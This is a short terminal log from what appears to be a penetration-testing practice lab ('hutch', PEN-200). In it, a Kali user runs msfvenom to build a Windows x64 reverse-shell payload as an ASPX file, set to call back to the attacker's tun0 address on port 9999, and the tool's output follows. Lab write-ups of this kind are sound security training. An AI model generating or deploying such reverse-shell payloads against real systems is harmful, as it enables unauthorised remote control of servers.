msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hutch]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$tun0 LPORT=9999 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3445 bytes
Saved as: shell.aspx
msfvenom generated an ASPX reverse shell